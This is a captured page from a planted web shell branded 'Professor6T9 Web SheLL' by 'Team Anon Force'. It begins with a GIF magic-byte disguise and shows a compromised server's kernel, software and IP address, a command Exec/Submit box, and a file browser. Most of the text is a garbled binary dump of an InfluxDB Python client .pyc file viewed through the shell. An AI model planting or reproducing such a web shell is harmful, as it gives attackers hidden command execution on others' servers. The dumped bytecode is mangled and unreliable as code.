GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
domain
/
__pycache__
[ HOME ]
Exec
Submit
File Name : authorization_post_request.cpython-38.pyc
U ܒi� � @ s4 d Z ddlZddlZddlmZ G dd� de�ZdS )a InfluxDB OSS API Service. The InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501 OpenAPI spec version: 2.0.0 Generated by: https://openapi-generator.tech � N)�AuthorizationUpdateRequestc @ s� e Zd ZdZdddddd�Zddddd d�Zd!dd �Zedd� �Zej dd� �Zedd� �Z e j dd� �Z edd� �Zej dd� �Zdd� Zdd� Z dd� Zdd� Zdd � Zd S )"�AuthorizationPostRequestz�NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. �strzlist[Permission])�org_id�user_id�permissions�status�descriptionZorgIDZuserIDr r r N�activec C sV t j| ||d� d| _d| _d| _d| _|dk r6|| _|dk rD|| _|dk rR|| _dS )z6AuthorizationPostRequest - a model defined in OpenAPI.)r r N) r �__init__�_org_id�_user_id�_permissionsZ discriminatorr r r )�selfr r r r r � r �b/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/domain/authorization_post_request.pyr 2 s z!AuthorizationPostRequest.__init__c C s | j S )z�Get the org_id of this AuthorizationPostRequest. An organization ID. Specifies the organization that owns the authorization. :return: The org_id of this AuthorizationPostRequest. :rtype: str �r �r r r r r B s zAuthorizationPostRequest.org_idc C s || _ dS )z�Set the org_id of this AuthorizationPostRequest. An organization ID. Specifies the organization that owns the authorization. :param org_id: The org_id of this AuthorizationPostRequest. :type: str Nr )r r r r r r M s c C s | j S )az Get the user_id of this AuthorizationPostRequest. A user ID. Specifies the user that the authorization is scoped to. When a user authenticates with username and password, InfluxDB generates a _user session_ with all the permissions specified by all the user's authorizations. :return: The user_id of this AuthorizationPostRequest. :rtype: str �r r r r r r X s z AuthorizationPostRequest.user_idc C s || _ dS )a� Set the user_id of this AuthorizationPostRequest. A user ID. Specifies the user that the authorization is scoped to. When a user authenticates with username and password, InfluxDB generates a _user session_ with all the permissions specified by all the user's authorizations. :param user_id: The user_id of this AuthorizationPostRequest. :type: str Nr )r r r r r r c s c C s | j S )a� Get the permissions of this AuthorizationPostRequest. A list of permissions for an authorization. In the list, provide at least one `permission` object. In a `permission`, the `resource.type` property grants access to all resources of the specified type. To grant access to only a specific resource, specify the `resource.id` property. :return: The permissions of this AuthorizationPostRequest. :rtype: list[Permission] �r r r r r r n s z$AuthorizationPostRequest.permissionsc C s || _ dS )a� Set the permissions of this AuthorizationPostRequest. A list of permissions for an authorization. In the list, provide at least one `permission` object. In a `permission`, the `resource.type` property grants access to all resources of the specified type. To grant access to only a specific resource, specify the `resource.id` property. :param permissions: The permissions of this AuthorizationPostRequest. :type: list[Permission] Nr )r r r r r r y s c C s� i }| j �� D ]z\}}t| |�}t|t�rBttdd� |��||<